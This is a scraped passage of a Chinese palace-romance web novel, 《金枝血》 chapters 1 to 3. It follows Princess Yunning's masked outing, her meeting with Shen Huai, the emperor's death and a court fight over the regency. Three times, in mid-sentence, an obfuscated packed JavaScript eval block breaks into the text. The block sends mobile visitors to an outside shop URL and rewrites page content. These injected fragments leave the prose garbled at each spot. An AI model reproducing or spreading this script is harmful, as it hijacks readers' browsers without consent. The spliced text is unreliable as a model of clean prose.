《金枝血》 1. 金枝玉叶 1 大燕建元十八年,三月初三,上巳节。 这一日,京城内外皆浸在蒙蒙烟雨里。 昀宁站在摘星阁的窗前,看着檐角滴落的水珠,一颗一颗,像是谁用银线串起的珠子,落在青石板上,碎成更细小的水花。她今日穿了一身月白的宫装,发髻上簪着一支白玉兰步摇,是母后生前最喜欢的样式。 “公主,您再看,这雨也不会停的。”身后传来阿蘅的声音,带着几分无奈的笑,“上巳节的雨,那是老天爷赏的福气,您总不能指望着老天爷把福气收回去吧?” 昀宁回过头,眉间蹙着一丝若有若无的愁:“阿蘅,你说这雨,它下得累不累?” 阿蘅一愣:“雨有什么累不累的?” “从天上落下来,摔得粉身碎骨,还要被人说是福气。”昀宁伸手接住一滴雨,凉意从指尖漫到掌心,“它若有的选,或许也想做一片云,远远地飘着,什么都不管。” 阿蘅笑了,走上前替她拢了拢披帛:“公主今日怎么净说这些没头没脑的话?雨就是雨,云就是云,各有各的命数,哪有什么选不选的。” 昀宁没有说话。 她今年十八岁了,在这摘星阁里住了十八年。她知道每一块地砖的纹路,知道每一根梁柱的颜色深浅,知道什么时候阳光会从西边的窗棂照进来,落在她的妆奁上。她也知道,再过半个时辰,会有嬷嬷来教她礼仪,午膳后要抄一卷经书给父皇祈福,申时三刻,太子弟弟会下学,她要去东宫看他。 她知道明天、后天、下个月、明年,她将如何度过。 但她不知道,雨有没有得选。 “公主,”阿蘅忽然压低声音,凑近了些,“您想不想出去看看?” 昀宁的目光落在她脸上。 阿蘅眨了眨眼:“上巳节,城外曲水流觞,城内有夜市花灯。奴婢听说,今年的上巳节格外热闹,就连寻常百姓家的小姑娘,都能戴上面具,在街上走一走,看一看……” “阿蘅。”昀宁打断她。 阿蘅立刻噤声。 昀宁看着她,看了很久,久到阿蘅开始不安地绞手指。然后,昀宁的嘴角慢慢弯起来,弯成一个狡黠的弧度。 “你说,本宫若是戴上面具,还像不像公主?” 半个时辰后,摘星阁的偏殿里,两个穿着寻常衣裳的少年郎悄悄溜了出去。 昀宁换了一身青灰色的长袍,头发束起来,用一根玉簪别住,脸上还戴了半张面具——那是阿蘅托小太监从宫外买的,据说是时下最时兴的样子,只遮住眉眼,露出半截鼻梁和嘴唇。阿蘅扮作小厮,跟在她身后,紧张得走路都在打颤。 “公主,不不不,公子,咱们真的不会被发现吗?” “发现了又怎样?”昀宁走得坦然,“本宫……我不过是出去看看,又不是去谋反。最多被父皇骂几句,禁足半个月。” 阿蘅苦着脸:“可您禁足,奴婢是要挨板子的。” 昀宁回头看了她一眼,忽然伸手拍了拍她的肩:“放心,到时候我趴在地上替你挨。” 阿蘅一愣,随即红了眼眶。 她想说,公主您怎么能趴在地上呢,您是公主啊。但她没说,因为她知道,公主说这话的时候,是真的会这么做。 公主就是这样的人。 她会记得每一个宫人的名字,会在冬天给洒扫的小太监送手炉,会在御花园里蹲下来,和迷路的小宫女一起找丢失的珠花。她明明是最尊贵的嫡长公主,却总让人觉得,她骨子里住着一只雀儿,想飞出去,想看看外面的天有多高。 可那只雀儿,从来不曾飞过。 今日是第一次。 宫门外是一条长街,平日里肃穆冷清,今日却被各色摊贩挤得满满当当。昀宁站在街口,有一瞬间的恍惚。 她从未见过这么多人。 卖糖人的、卖面具的、卖花灯的、卖胭脂水粉的,还有牵着骆驼的胡商、抱着孩子的妇人、追逐打闹的孩童,熙熙攘攘,摩肩接踵。空气里混杂着各种气味——糖炒栗子的甜香、烤肉的焦香、脂粉的腻香,还有雨水打湿泥土后的青涩气息。 “公子,您慢点儿走,别被人冲散了。”阿蘅紧紧跟在她身后,像一只护雏的老母鸡。 昀宁却走得很快,她几乎是被人流推着往前走,身不由己,却又觉得前所未有的畅快。她看见一个卖面具的摊子,上面挂满了各色面具——狐狸的、兔子的、神仙的、妖怪的,还有画着夸张脸谱的。她停下来,伸手摸了摸那只狐狸面具。 “小公子好眼光!”摊主是个络腮胡子的大汉,咧嘴一笑,露出一口白牙,“这狐狸面具最是灵巧,配您这身量,正正好。” 昀宁笑了笑,正要说话,忽然被人从身后狠狠撞了一下。 她踉跄两步,险些摔倒,一只手及时扶住了她的胳膊。 “小心。” 那是一个少年的声音,清朗如玉石相击。 昀宁抬起头,看见一张脸。 那人生得极好,剑眉星目,鼻梁高挺,嘴角噙着一丝淡淡的笑意。他穿着一身玄色的锦袍,腰间系着一条白玉带,通身的气派不像寻常人家出身。但昀宁最先注意到的,是他的眼睛。 那双眼睛很亮,像是山间清泉洗过的星子,干净、坦荡,没有一丝她见惯的那种——敬畏、讨好、或者算计。 “多谢公子。”昀宁站直身子,下意识地摸了摸脸上的面具,确认它还好好地戴着。 那人松了手,目光在她脸上停了一瞬,忽然笑了:“小公子莫要乱跑,今日人多,若是走散了,家里人要着急的。” 昀宁愣了一下。 小公子? 她低头看了看自己这一身打扮,忽然明白过来——这人没认出她是女子,更没认出她是公主。在他眼里,她只是一个穿着男装、戴着面具、偷溜出来玩的少年郎。 一个寻常的少年郎。 昀宁的心忽然跳得快了些。 “我……我跟着家里人来的。”她压低了声音,尽量让自己的嗓音听起来像个少年,“他们就在前头。” 那人点点头,目光越过她,落在她身后的阿蘅身上。阿蘅已经吓得脸都白了,缩在人群里不敢动。 “那是你的小厮?”那人问。 昀宁回头看了一眼,忍不住笑了:“是,他胆子小,没见过世面。” “那你这个做公子的,可要护好了他。”那人说着,忽然伸手,从摊子上取下一只兔子面具,递给她,“拿着,就当是方才撞了你的赔礼。” 昀宁怔住:“你没有撞我。” “我也没有扶你吗?”那人笑了笑,“扶了人,总该讨个人情。拿着吧,这兔子面具配你。” 他转身走了,玄色的身影很快被人潮吞没。 昀宁站在原地,手里攥着那只兔子面具,许久没有动。 “公……公子!”阿蘅终于挤到她身边,气喘吁吁,“方才那人是谁?您没事吧?奴婢吓死了,以为您要被挤倒了!” 昀宁没有回答。 她低下头,看着手里的面具。 那是一张白兔面具,画着红红的眼睛,长长的耳朵,憨态可掬。她把面具翻过来,看见背面刻着一个小小的印记——“沈”。 沈。 京城里姓沈的人家很多,但有这样气度的少年,能穿那样衣料的少年,不会有几个。 “阿蘅。”她忽然开口。 “奴婢在。” “方才那人,你可认得?” 阿蘅踮起脚,朝着那人消失的方向望了望,犹豫道:“奴婢瞧着……像是沈家的小公爷?” 沈家。 沈家是开国功臣之后,世袭国公,满门忠烈。这一代的小公爷,名叫沈淮,年方二十,据说文武双全,是京城贵女们口中念念不忘的如意郎君。 昀宁听过这个名字。 但她从未见过他。 “小公爷… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316902|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”她喃喃地念了一遍,忽然笑了。 阿蘅吓了一跳:“公子,您笑什么?” 昀宁把兔子面具戴在脸上,只露出一双弯弯的眼睛。 “没什么。”她说,“走吧,我们去看看那曲水流觞。” 她们在城里逛了一个时辰,看了花灯,吃了糖人,还在河边看了一会儿那些文人墨客吟诗作对。昀宁站在人群后面,听着那些人念着“上巳节,春水暖,桃花依旧笑春风”,心里想的是:原来外面的诗,和宫里的诗,也没什么不同。 天色渐晚,雨也停了。 阿蘅开始着急:“公子,再不回去,宫门就要落锁了。” 昀宁点点头,最后看了一眼这片热闹的人间烟火,转身往回走。 走到宫门口的时候,天边最后一丝光也暗了下去。守门的侍卫看见她们,正要盘问,昀宁摘下了面具。 侍卫们齐齐跪了下去。 “参见公主殿下。” 昀宁没有看他们,只是低着头,看着手里的那只兔子面具。面具上的红眼睛在昏黄的灯光下,像是两滴凝固的血。 “阿蘅。”她忽然说。 “奴婢在。” “你说,沈家的小公爷,是个什么样的人?” 阿蘅想了想:“奴婢听说,小公爷人品贵重,文武双全,是难得的少年英才。京里好多贵女都想嫁给他呢。” “那他……可曾议亲?” 阿蘅一愣,抬头看她。 昀宁的脸上没有什么表情,只是那双眼睛,在暮色里显得格外明亮。 “公主,”阿蘅小心翼翼地问,“您问这个做什么?” 昀宁没有回答。 她抬起头,看着宫墙上方那一方小小的天空。天已经黑了,星星一颗一颗地亮起来,像是谁撒了一把碎银子。 “阿蘅,”她说,“你说,我若是去求父皇,让他给我选一个驸马,选一个我想嫁的人,父皇会答应吗?” 阿蘅的心跳漏了一拍。 “公主,您……” “我想去江南。”昀宁打断她,声音轻得像一片羽毛,“听说江南的雨,和我们这里的不一样。下起来的时候,细细的、密密的,能下一整天。我想在廊下坐着,看一辈子的烟雨。” 阿蘅的眼眶红了。 她想说,公主,您是公主啊,您怎么能去江南呢。但她没说,她只是低着头,轻轻地说:“公主想去的地方,一定能去的。” 昀宁笑了笑,把兔子面具收进袖中。 “走吧,回摘星阁。” 那一夜,昀宁做了一个梦。 梦里她还是那个穿着男装、戴着面具的少年郎,站在人潮汹涌的街口,看着那个玄衣少年越走越远。她想追上去,想喊他的名字,但她的脚像是生了根,一步也迈不动。 然后她醒了。 窗外有月光漏进来,落在她枕边,像一地的霜。 她伸手摸了摸枕下,那只兔子面具还在。她把它拿出来,借着月光,看着那两只红红的眼睛。 沈淮。 她在心里念了一遍这个名字。 然后她想起他说的那句话—— “小公子莫要乱跑,今日人多,若是走散了,家里人要着急的。” 她忽然笑了,笑着笑着,眼眶却湿了。 她不知道,这一场上巳节的相遇,会是她这一生中,最明亮的日子。 她也不知道,往后的许多年,她会无数次在梦里回到这一天,回到那个烟雨蒙蒙的街口,回到那个少年扶住她胳膊的那一刻。 她更不知道,这一场相遇,会把她推向一条怎样的路。 但此刻的她什么都不知道。 她只是把那只兔子面具贴在胸口,闭上眼睛,沉沉睡去。 窗外,月亮悄悄躲进了云里。 夜色正浓。 而她的少女时代,才刚刚开始。 ——第一章完—— 2. 金枝玉叶 2 昀宁是被一阵急促的脚步声吵醒的。 她睁开眼,窗外的天已经大亮,阳光透过纱帘照进来,在地上投下一片柔和的光斑。枕边的那只兔子面具还在,她下意识地伸手把它往枕下塞了塞,然后坐起身。 “阿蘅?” 门被推开,进来的却不是阿蘅,而是另一个小宫女,名唤采苓的。她脸色发白,脚步发虚,见了昀宁,扑通一声跪了下去。 “公主殿下,陛下宣您即刻去乾清宫。” 昀宁的心猛地一沉。 父皇。 她来不及多问,匆匆洗漱更衣,穿着一身素净的宫装,快步往乾清宫走去。一路上,她看见许多太监宫女低着头匆匆而过,脸上都带着一种她从未见过的神色——那是一种小心翼翼的惶恐,像是暴风雨来临前,林间小兽的警觉。 乾清宫到了。 门口的太监见她来了,躬身行礼,却没有通报,只是轻轻推开了门。 昀宁走进去,一股浓重的药味扑面而来。 她的脚步顿住了。 龙床上,她的父皇——大燕朝的天子,那个在她记忆里永远威严挺拔的男人——正半躺着,脸色蜡黄,眼窝深陷,像是一夜之间被抽去了所有的精气神。 床边坐着一个人,小小的,脊背却挺得笔直。 是昀昭。 她的弟弟,大燕朝的太子,今年刚满十二岁。 “父皇。”昀宁快步走上前,跪在床前,握住父皇的手。那只手瘦得只剩骨头,皮肤干枯如树皮,却还是温热的。 皇帝睁开眼睛,看着她。 他的目光很复杂,有慈爱,有不舍,还有一种昀宁看不懂的东西——那是一个帝王在审视自己的继承人时,才会有的目光。 “昀宁。”他开口,声音沙哑得像破旧的风箱,“你来了。” “儿臣在。” 皇帝的手动了动,反握住她。那力道出乎意料的大,像是要把什么重要的东西,亲手交到她手里。 “你母后走的时候,”他说,“朕答应过她,要好好护着你们姐弟。朕以为自己还能再撑几年,等昀昭再大一些,等你嫁了人,等……” 他说不下去了,剧烈地咳嗽起来。 昀宁的眼眶红了,但她没有哭。她只是轻轻拍着父皇的背,像小时候她生病时,父皇对她做的那样。 “父皇,您别说了,好好歇着,太医说了,您需要静养。” 皇帝摇了摇头。 “朕的时间不多了。”他说,“昀宁,你听朕说。” 昀宁的手指僵住了。 “昀昭还小,朝中那些人心思各异,朕知道。朕走了以后,他们不会安分的。”皇帝的目光落在她脸上,那目光里有疼惜,也有无奈,“你是嫡长公主,是昀昭的亲姐姐。有些事,朕不想让你做,但朕不得不让你做。” 昀宁的心一点一点沉下去。 她隐约知道父皇要说什么。那些她一直以来假装看不见的东西——几位皇叔越来越频繁的入宫,朝堂上越来越尖锐的争执,还有那些关于“立长还是立嫡”的窃窃私语——此刻全都浮出水面,像一尾尾冰冷的鱼,游过她的心间。 “儿臣明白。”她听见自己说,声音平静得不像自己,“儿臣会护着昀昭。” 皇帝看着她,看了很久。 然后他笑了,笑得有些凄凉。 “你和你母后一样,”他说,“明明心里怕得要命,脸上却什么都不显。” 昀宁没有说话。 她确实怕。 但她更怕的,是让父皇看出来她怕。 “去吧。”皇帝松开手,疲惫地闭上眼睛,“让昀昭再陪朕一会儿。” 昀宁站起身,看了一眼弟弟。昀昭也正看着她,那双稚嫩的眼睛里,有依赖,有茫然,还有一种他不该有的——过早的沉重。 她伸手摸了摸他的头,什么也没说,转身走了出去。 走出乾清宫的那一刻,阳光刺得她眼睛生疼。 她抬起头,看着那片蓝得刺眼的天空,忽然想起昨天,她站在摘星阁的窗前,问阿蘅:雨有没有得选。 现在她知道了。 雨没得选。 她也没有。 回到摘星阁,阿蘅已经在门口等着了,脸上是藏不住的担忧。 “公主……” “我没事。”昀宁走进去,在妆台前坐下,“替我把那支白玉兰步摇拿来。” 阿蘅愣了一下,还是依言取了来,替她簪上。 昀宁看着铜镜里的自己。镜中的人眉目如画,端庄温婉,是标准的公主模样。但只有她自己知道,那双眼睛里,少了一点东西。 少了一点什么? 她说不清。 “公主,”阿蘅小声说,“方才沈家派人送了帖子来,说是小公爷的生辰宴,请您过府一叙。” 昀宁的心跳漏了一拍。 沈家。 小公爷。 她想起昨天那个玄衣少年,想起他说的那句“小公子莫要乱跑”,想起他递过来的那只兔子面具。 “帖子呢?” 阿蘅从袖中取出一张烫金的请帖,双手呈上。 昀宁接过来,打开,一眼就看见了那个落款——沈淮。 她盯着那两个字,看了很久。 “公主,”阿蘅试探着问,“您要去吗?” 昀宁没有回答。 她把请帖合上,放在妆台上,然后站起身,走到窗前。 窗外,御花园里的桃花开了,粉粉白白的一片,像天边的云霞落到了人间。有宫女在花间穿梭,笑声隐隐约约地传过来。 “阿蘅,”她忽然问,“你说,小公爷的生辰宴,会请多少人?” 阿蘅想了想:“沈家是世家大族,小公爷又是嫡长孙,这样的日子,怕是半个京城的人都要去吧。” “半个京城的人,”昀宁喃喃地重复,“那他就不会注意到,多了一个人,还是少了一个人。” 阿蘅愣住了。 “公主,您是说……” “我不去。”昀宁转过身,脸上没有什么表情,“替我想个由头,就说我身子不适,不便出府。” 阿蘅张了张嘴,想说什么,最终还是什么都没说,低头应是。 昀宁重新看向窗外。 桃花依旧开得热闹,粉粉白白,像一场无声的盛宴。 她忽然想起母后临终前说的话。 那时候她还小,不太明白那些话的意思。她只知道母后病了,病得很重,躺在床上,脸色白得像一张纸。母后握着她的手,力气小得几乎感觉不到,却紧紧地握着,像是怕一松手,就再也握不到了。 “昀宁,”母后说,“护着你弟弟,这是你的命。” 她那时候不懂,什么叫“你的命”。 她只是点点头,说:“儿臣记住了。” 然后母后就走了。 走的时候,窗外也是桃花盛开的季节。粉粉白白的,像今天一样。 昀宁闭上眼睛,深深地吸了一口气。 空气里有桃花的香气,淡淡的,若有若无。 她想起昨天,那个少年扶着她的胳膊,说“小公子莫要乱跑”。她想起他的眼睛,亮亮的,像是山间清泉洗过的星子。 她想起他递过来的那只兔子面具。 她想起她在心里念了一遍他的名字——沈淮。 然后她睁开眼睛,把那些念头全都压了下去。 她是大燕朝的嫡长公主。 她有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316903|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十二岁的弟弟,是当朝太子。 她的父皇病重,时日无多。 她没有资格去想什么兔子面具,什么玄衣少年,什么“小公子莫要乱跑”。 那些都是别人的日子。 不是她的。 “阿蘅。”她开口。 “奴婢在。” “把那支白玉兰步摇收起来吧。”她说,“换一支素的。” 阿蘅的手顿了顿,低声应是。 那一天,昀宁抄了三卷经书,给父皇祈福。 那一天,她去了东宫,看昀昭练字,陪他用晚膳。 那一天,她回摘星阁的时候,天已经黑了。 她坐在窗前,看着外面的月亮,又圆又亮,像一面银盘。 然后她伸手,从枕下摸出那只兔子面具,借着月光,看了很久很久。 面具上的红眼睛,在月光下像是两滴凝固的血。 她忽然想起,她还没有告诉那个少年,她不是什么小公子。 她也没有告诉他,她是谁。 她甚至没有说一声谢谢。 她把面具贴在心口,闭上眼睛。 月亮很亮,夜色很静。 摘星阁里,什么声音都没有。 又过了几日,父皇的病时好时坏,朝中的气氛也越来越紧张。 昀宁每日去乾清宫请安,陪父皇说话,有时候也遇见几位皇叔。他们对她很客气,恭恭敬敬地行礼,说“公主殿下安好”。但他们的眼睛里,总有一种她看不透的东西。 她不问,也不说。 她只是每日照常抄经、请安、陪昀昭读书,像是什么都没有发生。 直到那一天。 那天下午,她正在摘星阁里抄经,忽然听见外面一阵喧哗。她放下笔,走到门口,看见一个小太监跌跌撞撞地跑进来,脸上全是泪。 “公主殿下!公主殿下!陛下他……陛下他……” 昀宁只觉得脑子里“嗡”的一声,什么都听不见了。 她提起裙摆,朝乾清宫跑去。 她跑得很快,快得像是在飞。风从耳边呼啸而过,把她的发髻吹散了,把她的步摇吹掉了,她什么都顾不上。 她只想着:父皇,您等等儿臣,您等等儿臣。 但等她跑到乾清宫的时候,一切都晚了。 龙床上,父皇闭着眼睛,脸色安详,像是睡着了一样。 可他的手,已经凉了。 昀宁跪在床前,握住那只冰凉的手,一个字都说不出来。 身后,有人在高声喊着什么,有脚步声杂乱地响着,有哭声隐隐约约地传来。 但她什么都听不见。 她只是跪在那里,握着那只手,一动不动。 然后,一只手轻轻搭上了她的肩。 她回头,看见昀昭站在她身后。 他也在哭,眼泪流了满脸,却死死咬着嘴唇,不让自己发出声音。 他看着她,那双稚嫩的眼睛里,有恐惧,有茫然,还有一种她从未见过的东西——那是一个孩子,在失去最后一个依靠时,才会有的眼神。 昀宁伸出手,把他抱进怀里。 “不怕。”她听见自己说,声音轻得像一片羽毛,“姐姐在。” 昀昭终于哭出声来,把脸埋在她怀里,哭得浑身发抖。 昀宁抱着他,一下一下地拍着他的背。 窗外,桃花已经谢了。 满地的落红,被风吹得打着旋儿,像是谁的心,碎了一地。 那一天,是大燕建元十八年,三月十九。 那一天,昀宁的父皇驾崩了。 那一天,她十八岁。 她的少女时代,也在那一天,结束了。 ——第二章完—— 3. 金枝玉叶 3 大燕建元十八年三月十九,先帝驾崩于乾清宫。 国丧的消息是在当夜传遍京城的。九门落锁,坊市皆闭,家家户户摘了红灯笼,换上白幡。就连那些平日里最热闹的勾栏瓦舍,也在一夜之间静默下来,像是一座死城。 昀宁跪在灵堂里,已经跪了整整三个时辰。 她的膝盖早已麻木,腰背却依旧挺得笔直。身前是冰冷的金砖,身后是此起彼伏的哭声——妃嫔们在哭,宫人们在哭,就连那些平日里与父皇并不亲近的大臣们,也在哭。 只有她没有哭。 她从昨夜到现在,一滴眼泪都没有掉过。 “长公主殿下,”礼部侍郎躬着身子上前,“明日大殓的仪程,请您过目。” 昀宁接过那张写满小楷的折子,一行一行看下去。入殓、成服、朝夕哭奠、启奠、祖奠、遣奠、大葬……每一个环节都写得清清楚楚,什么时辰做什么事,由谁来做,穿什么衣服,说什么话。 她看完,把折子还回去。 “知道了。” 礼部侍郎愣了一下,似乎没想到这位刚失去父皇的长公主会如此平静。他张了张嘴,想说什么安慰的话,最终还是什么都没说,躬身退下。 昀宁继续跪着。 她看着灵堂正中的那具金丝楠木棺椁,看着棺椁前那一排排燃烧的白烛,看着白烛后面那张巨大的画像——画像上的父皇穿着朝服,戴着冕旒,面容威严,和活着的时候一模一样。 可他已经死了。 她已经没有父皇了。 这个念头在她心里转了一圈,像一颗冰冷的石子,沉下去,就再也没有浮起来。 “皇姐。” 一个细小的声音从身侧传来。 昀宁偏过头,看见昀昭跪在她旁边。他还穿着孝服,小小的身子裹在宽大的麻衣里,显得格外单薄。他的眼睛红肿着,显然是哭过了,但此刻却没有再哭,只是直直地看着她。 “皇姐,你的膝盖疼不疼?” 昀宁的心像是被什么东西轻轻揪了一下。 “不疼。”她说。 昀昭不信,但他没有继续问。他只是往她身边挪了挪,离她更近了一些。 “皇姐,”他压低声音,“他们说,明天就要登基了。” 昀宁没有说话。 “我……我不知道该怎么做。”昀昭的声音越来越小,“父皇从来没有教过我,怎么做皇帝。” 昀宁伸出手,握住了他的手。 那只手很小,很凉,微微颤抖着。 “你不用知道。”她说,“你只需要坐在那张椅子上,剩下的,有姐姐。” 昀昭抬起头看她,眼睛里有一瞬间的光亮,随即又暗了下去。 “可是,几位皇叔……” “姐姐在。”昀宁打断他,声音平静得像是在说今天天气不错,“谁都不能把你从那把椅子上拉下来。” 昀昭不再说话,只是把她的手握得更紧了一些。 灵堂里,哭声依旧此起彼伏。 白烛的火苗在穿堂风中摇曳,像是无数双欲言又止的眼睛。 三月二十一日,新帝登基。 那一日,天阴沉沉的,像是要落雨,却始终没有落下来。 昀宁站在乾清宫侧殿的窗前,看着广场上黑压压的人群。百官穿着朝服,按品级站立,恭候新帝驾临。最前面的是几位亲王——大皇叔昀启,二皇叔昀衍,还有几个远支的宗室。 昀启站在最前面,脊背挺得笔直。 他是先帝的长兄,当年也曾是太子人选,后来因为生母出身低微,被先帝夺了储位。这些年他一直安分守己,从不参与朝政,像是一个没有野心的人。 但昀宁知道,越是没有野心的人,越要小心。 因为你不知道,他的“没有野心”,是真的没有,还是在等一个机会。 “殿下,”身后响起一个声音,“吉时到了。” 昀宁转过身,看着来人。 那是内阁首辅韩彰,三朝元老,先帝临终前托孤的重臣之一。他已经六十多岁了,头发花白,脸上的皱纹像是干涸的河床,但那双眼睛依旧锐利,像是一只盘踞在朝堂上的老鹰。 “韩阁老。”昀宁微微颔首。 韩彰看着她,目光里有一丝不易察觉的审视。 “殿下,”他说,“今日之后,朝局便是另一番天地了。殿下可曾想过,往后该当如何?” 昀宁没有立刻回答。 她走到窗前,又看了一眼广场上的人群。昀启似乎感觉到了什么,抬起头,朝她这边望了一眼。隔着那么远的距离,她看不清他的表情,但她能感觉到那道目光——沉沉的,像是压着什么。 “韩阁老,”她转过身,“本宫只想护着昀昭。其他的,本宫不想管,也不会管。” 韩彰看着她,没有说话。 过了很久,他才开口。 “殿下,有些事,不是您想不想管的问题。”他说,“您站在那个位置上,有些事就会自己找上您。” 他顿了顿,叹了口气。 “臣老了,不知道还能撑几年。但臣想告诉殿下一句话——这世上,最难得的是善终,最可怕的是善心。” 说完,他躬身一礼,退了出去。 昀宁站在原地,看着他的背影消失在门外。 善终。 善心。 她咀嚼着这两个词,忽然觉得有些冷。 三月二十二日,新帝登基次日,第一次朝会。 昀宁本该在摘星阁里待着,但她还是去了。 她穿着素服的公主冠服,站在朝堂侧边的珠帘后面,听着外面那些人的声音。 “陛下,西北边境传来急报,胡人屡屡犯边,劫掠百姓,请朝廷速派大军剿灭!” “陛下,户部奏报,去岁各地税银尚有亏空,请旨核查!” “陛下,吏部上书,各地官员考核在即,请定章程!” 一个又一个的声音响起,像潮水一样涌向那张龙椅。龙椅上坐着昀昭,小小的一团,被冕旒遮住了大半张脸,看不清表情。 昀宁看见他的手紧紧抓着扶手,指节都发白了。 她看见几位皇叔站在最前面,一言不发,只是偶尔交换一个眼神。 她还看见一些年轻的面孔,站在队列中,有的低着头,有的抬着眼,有的若有所思,有的面无表情。 其中有一张脸,她认得。 沈淮。 他站在队列中,穿着一身绯色的朝服,身姿挺拔如松。他的脸上没有什么表情,只是安静地听着那些奏报,偶尔抬眼,看向龙椅的方向。 他没有看见她。 珠帘后面,昀宁的目光落在他身上,只停了一瞬,便移开了。 “诸位爱卿。” 一个声音响起,压住了所有的嘈杂。 昀启站了出来,朝龙椅上的昀昭躬身一礼,然后转向群臣。 “陛下年幼,朝中事务繁杂,依本王之见,当设立辅政大臣,协理朝政。此事,先帝临终前也曾有过交代。” 话音落下,朝堂上静了一瞬。 随即,有人附和。 “王爷所言极是,陛下年幼,确实需要辅政。” “臣附议。” “臣也附议。” 昀宁站在珠帘后面,一动不动。 辅政大臣。 她知道这是什么意思。 名义上是“辅政”,实际上,谁掌握了这个权力,谁就能把昀昭架在空中。 她看向韩彰。 韩彰低着头,没有说话。 她看向沈淮。 沈淮的眉头微微皱了一下,随即松开,依旧没有开口。 “既如此,”昀启笑了笑,“那便请诸位推举人选。” 朝堂上再次安静下来。 没有人第一个开口。 谁都知道,这个口,不能轻易开。 “本王举荐韩阁老。”昀启说,“韩阁老三朝元老,德高望重,当居首位。” 韩彰抬起头,看了他一眼,躬身道:“臣不敢当。” “韩阁老不必谦让。”昀启说,“除此之外,本王以为,礼部尚书李崇、兵部尚书周延,皆可入辅。至于本王……” 他顿了顿,看向龙椅上的昀昭。 “本王身为皇叔,理当为陛下分忧。若诸位不弃,本王也愿尽一份心力。” 朝堂上又是一阵沉默。 昀宁的手,在袖中缓缓握紧。 昀启的意思已经很明白了——他要把自己放进辅政大臣的行列,而且,他还要拉上两个他的人。 李崇,周延。 一个是礼部尚书,一个是兵部尚书。 礼部掌礼仪,兵部掌军务。 他要的,是名正言顺,是兵权在手。 “臣反对。” 一个声音响起,清朗如玉石相击。 昀宁的目光穿过珠帘,落在那个说话的人身上。 沈淮。 他站了出来,朝龙椅躬身一礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316904|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后转向昀启。 “王爷方才说,先帝临终前有过交代。敢问王爷,先帝交代了什么?交给了谁?可有遗诏?” 昀启的笑容僵了一瞬。 “沈小公爷,”他说,“先帝临终前,本王并不在榻前,如何会有遗诏?但先帝曾多次提起,陛下年幼,需人辅佐,此事满朝皆知。” “既无遗诏,”沈淮说,“那辅政大臣一事,便不能草率决定。臣以为,当由太后与长公主殿下会同内阁,商议定夺。” 昀宁的心跳停了一拍。 太后。 长公主。 他在说她。 昀启的目光转过来,落在珠帘上。 那道目光沉沉的,像是压着什么。 昀宁没有动。 她知道,这个时候,她不能动。 “长公主殿下?”昀启笑了笑,“殿下年轻,只怕不通政务吧?” “王爷此言差矣。”沈淮说,“长公主是先帝嫡女,太子胞姐,身份尊贵,于情于理,都该参与此事。更何况,先帝在世时,曾多次称赞长公主聪慧过人,通达事理。” 昀启没有说话,只是看着珠帘。 朝堂上的目光,都落在了那道珠帘上。 昀宁知道,她必须说话了。 她深吸一口气,抬手拨开珠帘,走了出去。 阳光从殿门外照进来,落在她身上,有些刺眼。 她站在珠帘前面,面对着满朝文武,面对着昀启,面对着沈淮,也面对着龙椅上的昀昭。 “诸位大人。”她说,声音平静,“本宫不通政务,确实不假。但本宫记得父皇临终前说过的话——他说,昀昭年纪小,要本宫多看顾着些。本宫不知道什么叫辅政大臣,本宫只知道,父皇把昀昭交给了本宫,本宫就要护着他。” 她顿了顿,目光落在昀启脸上。 “所以,但凡是对昀昭好的事,本宫都支持。但凡是对昀昭不好的事,本宫都反对。至于辅政大臣的人选,本宫以为,韩阁老说得对——此事需从长计议,不宜草率。” 昀启看着她,嘴角微微弯起一个弧度。 那个弧度里,有审视,有考量,还有一丝若有若无的玩味。 “殿下说得是。”他说,“那便从长计议。” 朝会散了。 昀宁从侧殿走出来,外面是一条长长的甬道,两边是高高的红墙。 她走得很慢。 身后响起一阵脚步声,由远及近。 “殿下。” 她停下脚步,转过身。 沈淮站在她身后,离她三步远,恭恭敬敬地行了一礼。 “臣沈淮,见过殿下。” 昀宁看着他。 阳光下,他的眉眼清晰如画。还是那双眼睛,亮亮的,像是山间清泉洗过的星子。但此刻,那双眼睛里没有了那天的笑意,只有疏离和恭敬。 “沈小公爷。”她说,“今日在朝堂上,多谢你。” 沈淮抬起头,看了她一眼。 那一眼很短,短到几乎可以忽略不计。 “臣不是帮殿下。”他说,“臣只是觉得,辅政大臣一事,确实不该草率决定。” 昀宁没有说话。 她想起那天,他扶着她的胳膊,说“小公子莫要乱跑”。她想起他递过来的那只兔子面具。她想起他在人潮里越走越远的背影。 那些画面在她心里一闪而过,像是隔着一层水雾,模模糊糊的,看不真切。 “殿下,”沈淮说,“臣有一句话,不知当讲不当讲。” “你说。” 